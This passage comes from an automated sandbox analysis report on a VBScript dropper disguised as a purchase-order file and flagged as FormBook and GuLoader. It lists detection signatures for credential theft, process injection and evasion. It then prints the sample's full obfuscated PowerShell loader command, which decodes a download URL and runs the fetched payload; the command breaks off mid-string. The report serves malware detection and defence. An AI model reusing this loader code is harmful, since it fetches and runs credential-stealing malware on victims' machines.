Edit tour
Windows
Analysis Report
PO 26519PZ F30 59.vbs
Overview
General Information
Detection
FormBook, GuLoader
Score: | 100 |
Range: | 0 - 100 |
Whitelisted: | false |
Confidence: | 100% |
Signatures
Antivirus detection for URL or domain
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
VBScript performs obfuscated calls to suspicious functions
Yara detected FormBook
Yara detected GuLoader
Found direct / indirect Syscall (likely to bypass EDR)
Found suspicious powershell code related to unpacking or dynamic code loading
Maps a DLL or memory area into another process
Modifies the context of a thread in another process (thread injection)
Queues an APC in another process (thread injection)
Sigma detected: WScript or CScript Dropper
Sigma detected: Wab/Wabmig Unusual Parent Or Child Processes
Suspicious execution chain found
Suspicious powershell command line found
Tries to harvest and steal browser information (history, passwords, etc)
Tries to steal Mail credentials (via file / registry access)
Very long command line found
Writes to foreign memory regions
Wscript starts Powershell (via cmd or directly)
Checks if the current process is being debugged
Contains functionality for execution timing, often used to detect debuggers
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains functionality to call native functions
Contains functionality to read the PEB
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found inlined nop instructions (likely shell or obfuscated code)
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
IP address seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
Java / VBScript file with very long strings (likely obfuscated code)
May sleep (evasive loops) to hinder dynamic analysis
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sigma detected: CurrentVersion Autorun Keys Modification
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Uses cacls to modify the permissions of files
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Yara signature match
Classification
- System is w10x64
- wscript.exe (PID: 6684 cmdline:
C:\Windows \System32\ WScript.ex e "C:\User s\user\Des ktop\PO 26 519PZ F30 59.vbs" MD5: A47CBE969EA935BDD3AB568BB126BC80) - powershell.exe (PID: 1424 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" "$Splenifo rm225 = 1; $Figurskaa ret='Subst rin';$Figu rskaaret+= 'g';Functi on Nepotis tic($Mistn keligt){$C onchuela=$ Mistnkelig t.Length-$ Spleniform 225;For($A utometamor phosis=5; $Autometam orphosis - lt $Conchu ela; $Auto metamorpho sis+=(6)){ $Aversione rs+=$Mistn keligt.$Fi gurskaaret .Invoke($A utometamor phosis, $S pleniform2 25);}$Aver sioners;}f unction En rens($Klip pehules135 ){&($graza ble) ($Kli ppehules13 5);}$Wedel ns=Nepotis tic 'Julee M Spiro Nn nezLuthei In elDecen lTjuruakil oj/,itri5E uc l. Tuff 0Chemi ,ro nd(PreciWT ri,hiRosco n TreedAgg raoElectwH abudsViv,e AboriNAar tuTChae. B ekos1Babit 0Kmpen.Ina rm0 Mono;D okum Innho WbegrdiSkr ydn,riva6 Bege4Sundh ; Diag Ben egxOvers6. umss4Sedim ;Al id um brOmforvOu twe:Stunt1 Towns2Ridd i1 ,osi.Sp ise0Dalc ) I,du Unin tGE.itueDa akac Koffk KnigoCirc u/,lnsn2.o unt0Paahi1 infur0 Eff e0catal1ud mat0D,wry1 For o Tele FB,udbiUds t,r FormeP art fKupon oduplixRed ni/Part.1P .stn2 Slau 1 Lase.Non ec0Milie ' ;$Bombicci te240=Nepo tistic ' P datURekurs VarieeTriu mrSmitt- F infALog.eg Misape P,c tnDomest S tor ';$Cha rger=Nepot istic ' uf fohTest t Stent Gran pLnmodsKa. to:rekto/M arli/Omnit d Uvilr De pridelsiva nhugeves,i .BeirugCol l o madro KlokgBerig lTeleuePun .i. Brysc H.tpo lemp mSkeed/ Fa miu,alsscS h pp?Tungt eMbelpxNic etptufteoP erivr E en tCleme=Ana .sdTr,ldo Snknw Drea n NonclD s tooproviaL ucradGo,sf &U.wraiDis todHindu=v erse1Lakmu y Ber,sEmi lsXM.rioS .nylWProgr c UgelkSi. de_ Bares p tihGobbl f Jac,s V, riiDi stVB agerSI.nij vDuffbxVel v.1SlageUS it,sk Urol pPrintRTet raU Tyfu2V ideoRSc,ot 4VelarF Sa ,kJTvrsk7 AfnakInscr 8DemonZBen in ';$Indt gters=Nepo tistic 'Au mmb>Overe ';$grazabl e=Nepotist ic 'Nemati Re ule Yv rxHas.e '; $Skattepro centers = Nepotistic 'SynsfeSm ertcMytolh ManioPost b syste% U ndea Skr p RlighpProc edG.umpa K bentSim la Bioni%Soci a\MenueU R tmd Norij WheezvOkto ,nTurbueMo not. BahrM SubstaSymb oi Fo k .i ll&Pl,dg&B asar Obdur eKur,ucTai lbhHymenoC zari Ansig $Stil, ';E nrens (Nep otistic 'J osua$Um,ak gGenialpre vooCent.bD ir.saTrdok l Gang: im alUalternK aithcdalev aWaltzvAa ele,gterra nklanRehea oDispeuMon tas Y arlB uffeyGlot. =Aften( Ou tgc IndemD agpld Co.p ,isav/Eon iacPlagi . rek$StemmS BeredkLjen daSkrmmt.o rmitVapo.e CentipOpsm nr eninoSu bmicUnsule s aglnSchu ltDesceeNe dblrAnthrs F,uep) Lep t ');Enren s (Nepotis tic 'Selvs $TaarngPre relUn.wioT eatebGall, aS atkl,ds lu:ForbeS M notD sta uFor efsti nkf intriT entlnunsen eFaglrsFik ses Grim=Z addi$ Temp C B,reh Ba laaThimbrL ednig Perq eAcridr ne xp.Serassf i.kapInvar lProbliBe, ent,aris(V enog$Bacte I tligngab ardAbandtJ